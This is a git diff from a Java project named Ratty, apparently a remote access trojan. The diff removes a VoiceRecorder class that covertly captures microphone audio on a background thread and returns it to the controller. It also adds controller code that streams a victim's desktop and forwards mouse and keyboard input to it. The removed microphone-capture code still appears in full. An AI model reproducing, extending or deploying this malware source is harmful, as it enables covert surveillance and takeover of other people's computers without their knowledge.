diff --git a/Ratty/src/de/sogomn/rat/IRecorderListener.java b/Ratty/src/de/sogomn/rat/IRecorderListener.java deleted file mode 100644 index c178220..0000000 --- a/Ratty/src/de/sogomn/rat/IRecorderListener.java +++ /dev/null @@ -1,7 +0,0 @@ -package de.sogomn.rat; - -public interface IRecorderListener { - - void done(final VoiceRecorder source, final byte[] data); - -} diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 0d815cb..326ab73 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -1,34 +1,15 @@ package de.sogomn.rat; import de.sogomn.rat.packet.IPacket; -import de.sogomn.rat.packet.VoicePacket; public final class Trojan implements IConnectionObserver { - private VoiceRecorder voiceRecorder; - private byte[] lastData; - - private static final int MICROPHONE_BUFFER_SIZE = 1024 << 6; - public Trojan() { - voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE); - lastData = new byte[0]; - - voiceRecorder.addListener((source, data) -> { - lastData = data; - source.start(); - }); + //... } @Override public void packetReceived(final ActiveConnection client, final IPacket packet) { - if (packet instanceof VoicePacket) { - final VoicePacket voice = (VoicePacket)packet; - - voiceRecorder.start(); - voice.setData(lastData); - } - packet.execute(client); } diff --git a/Ratty/src/de/sogomn/rat/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/VoiceRecorder.java deleted file mode 100644 index 8c010aa..0000000 --- a/Ratty/src/de/sogomn/rat/VoiceRecorder.java +++ /dev/null @@ -1,93 +0,0 @@ -package de.sogomn.rat; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -import javax.sound.sampled.AudioSystem; -import javax.sound.sampled.LineUnavailableException; -import javax.sound.sampled.TargetDataLine; - -import de.sogomn.engine.util.AbstractListenerContainer; - -public final class VoiceRecorder extends AbstractListenerContainer { - - private ByteArrayOutputStream out; - private TargetDataLine line; - private Thread thread; - - private int limit; - - private static final int BUFFER_SIZE = 1024; - - public VoiceRecorder(final int maximum) { - this.limit = maximum; - } - - public VoiceRecorder() { - this(0); - } - - private byte[] getData() { - final byte[] data = out.toByteArray(); - - out.reset(); - - return data; - } - - private void captureAudio() { - try { - final byte[] data = new byte[BUFFER_SIZE]; - - line.read(data, 0, BUFFER_SIZE); - out.write(data); - } catch (final IOException ex) { - ex.printStackTrace(); - } - } - - public void start() { - final Runnable runnable = () -> { - while (out.size() < limit) { - captureAudio(); - } - - stop(); - - final byte[] data = getData(); - - notifyListeners(listener -> listener.done(this, data)); - }; - - try { - out = new ByteArrayOutputStream(); - line = AudioSystem.getTargetDataLine(null); - thread = new Thread(runnable); - - line.open(); - line.start(); - thread.setDaemon(true); - thread.start(); - } catch (final LineUnavailableException ex) { - stop(); - } - } - - public void stop() { - try { - thread.interrupt(); - line.close(); - out.close(); - } catch (final IOException ex) { - //... - } finally { - thread = null; - line = null; - } - } - - public void setLimit(final int limit) { - this.limit = limit; - } - -} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 76f69e9..0f8caac 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -26,6 +26,7 @@ import de.sogomn.rat.packet.VoicePacket; import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.AbstractRattyController; import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.util.FrameEncoder.IFrame; /* * Woah, this is a huge class. @@ -229,9 +230,9 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createDeletePacket(client); } else if (command == FileTree.NEW_FOLDER) { packet = createFolderPacket(client); - } else if (command == DisplayPanel.MOUSE_EVENT) { + } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); - } else if (command == DisplayPanel.KEY_EVENT) { + } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastKeyEventPacket(); } @@ -258,6 +259,20 @@ public final class RattyGuiController extends AbstractRattyController implements } } + private void handleDesktopPacket(final ServerClient client, final DesktopPacket packet) { + if (!client.isStreamingDesktop()) { + return; + } + + final IFrame[] frames = packet.getFrames(); + final int screenWidth = packet.getScreenWidth(); + final int screenHeight = packet.getScreenHeight(); + final DesktopPacket request = new DesktopPacket(); + + client.connection.addPacket(request); + client.displayPanel.showFrames(frames, screenWidth, screenHeight); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -272,7 +287,9 @@ public final class RattyGuiController extends AbstractRattyController implements handleFiles(client, request); } else if (clazz == DesktopPacket.class) { + final DesktopPacket desktop = (DesktopPacket)packet; + handleDesktopPacket(client, desktop); } else { consumed = false; }